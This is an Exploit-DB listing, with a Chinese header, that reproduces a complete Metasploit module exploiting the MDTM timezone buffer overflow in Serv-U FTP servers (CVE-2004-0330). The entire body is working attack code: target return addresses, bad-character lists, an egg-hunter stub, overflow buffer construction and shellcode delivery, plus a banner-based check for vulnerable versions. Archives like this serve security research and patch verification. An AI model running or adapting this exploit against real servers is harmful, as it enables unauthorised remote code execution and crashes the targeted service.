标题: RhinoSoft Serv-U FTPd Server - MDTM Overflow (Metasploit) EDB-ID: 16715 CVE: 2004-0330 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: servu_mdtm.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Serv-U FTPD MDTM Overflow',
   'Description'    => %q{
     This is an exploit for the Serv-U\'s MDTM command timezone
    overflow. It has been heavily tested against versions
    4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against
    nt4/2k/xp/2k3. I have also had success against version 3,
    but only tested 1 version/os. The bug is in all versions
    prior to 5.0.0.4, but this exploit will not work against
    versions not listed above. You only get one shot, but it
    should be OS/SP independent.

    This exploit is a single hit, the service dies after the
    shellcode finishes execution.
   },
   'Author'         => [ 'spoonm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2004-0330'],
     [ 'OSVDB', '4073'],
     [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],
     [ 'URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'],
     [ 'URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'],
     [ 'BID', '9751'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     [
      'Serv-U Uber-Leet Universal ServUDaemon.exe', # Tested OK - hdm 11/25/2005
      {
       'Platform' => 'win',
       'Ret'      => 0x00401877,
      },
     ],
     [
      'Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe',
      {
       'Platform' => 'win',
       'Ret'      => 0x0040164d,
      },
     ],
     [
      'Serv-U 5.0.0.0 ServUDaemon.exe',
      {
       'Platform' => 'win',
       'Ret'      => 0x0040167e,
      },
     ],
    ],
   'DisclosureDate' => 'Feb 26 2004',
   'DefaultTarget' => 0))

  register_advanced_options(
   [
    OptInt.new('SEHOffset', [ false, "Offset from beginning of timezone to SEH", 47 ]),
    OptInt.new('ForceDoubling', [ false, "1 to force \\xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect", 2 ]),
   ], self.class)

 end

 # From 5.0.0.4 Change Log
 # "* Fixed bug in MDTM command that potentially caused the daemon to crash."
 #
 # Nice way to play it down boys
 #
 # Connected to ftp2.rhinosoft.com.
 # 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
 #
 # Heh :)

 def check
  connect
  disconnect

  case banner
   when /Serv-U FTP Server v4\.1/
    print_status('Found version 4.1.0.3, exploitable')
    return Exploit::CheckCode::Vulnerable

   when /Serv-U FTP Server v5\.0/
    print_status('Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
    return Exploit::CheckCode::Appears

   when /Serv-U FTP Server v4\.0/
    print_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');
    send_user(datastore['USER'])
    send_pass(datastore['PASS'])
    if (double_ff?())
     print_status('Found version 4.0.0.4, exploitable');
     return Exploit::CheckCode::Vulnerable
    else
     print_status('Found version 4.1.0.0, exploitable');
     return Exploit::CheckCode::Vulnerable
    end

   when /Serv-U FTP Server/
    print_status('Found an unknown version, try it!');
    return Exploit::CheckCode::Detected

   else
    print_status('We could not recognize the server banner')
    return Exploit::CheckCode::Safe
  end

  return Exploit::CheckCode::Safe
 end

 def exploit

  connect_login

  print_status("Trying target #{target.name}...")

  # Should have paid more attention to skylined's exploit, only after figuring
  # out how my payloads were getting transformed did I remember seeing \xff
  # doubling in his CHMOD exploit, arg!
  shellcode = payload.encoded

  case datastore['ForceDoubling']
   when 1
    print_status("Forced doubling of all \\xff sequences in the encoded payload")
    shellcode.gsub!(/\xff/, "\xff\xff")
   when 0
    print_status("Forced doubling has been disabled")
   when 2
    if (double_ff?())
     print_status("Forced doubling enabled after detection of version 4.0.0.4")
     shellcode.gsub!(/\xff/, "\xff\xff")
    end
  end

  # Searcher expects address to start scanning at in edi
  # Since we got here via a pop pop ret, we can just the address of the jmp
  # off the stack, add esp, BYTE -4 ; pop edi

  search_rtag = "\x34\x33\x32\x31" # +1 / 0 / -1 [start, end, stored]
  search_stub = Rex::Arch::X86.searcher(search_rtag)
  search_code = "\x83\xc4\xfc\x5f" + search_stub + 'BB'
  if (datastore['SEHOffset'] < search_code.length)
   print_error("Not enough room for search code, adjust SEHOffset")
   return
  end

  jump_back = Rex::Arch::X86.jmp_short('$+' + (-1 * search_code.length).to_s) + 'BB'

  buf = 'MDTM 20031111111111+' + ('A' * (datastore['SEHOffset'] - search_code.length))
  buf << search_code
  buf << jump_back
  buf << [target.ret].pack('V')
  buf << ' /'
  buf << Rex::Arch::X86.dword_adjust(search_rtag, 1)
  buf << shellcode
  buf << search_rtag

  send_cmd( [buf], false )

  handler
  disconnect
 end

 def double_ff?
  res = send_cmd( ['P@SW'], true )
  return (res and res =~ /^500/) ? true : false
 end

end URL: https://www.exploit-db.com/exploits/16715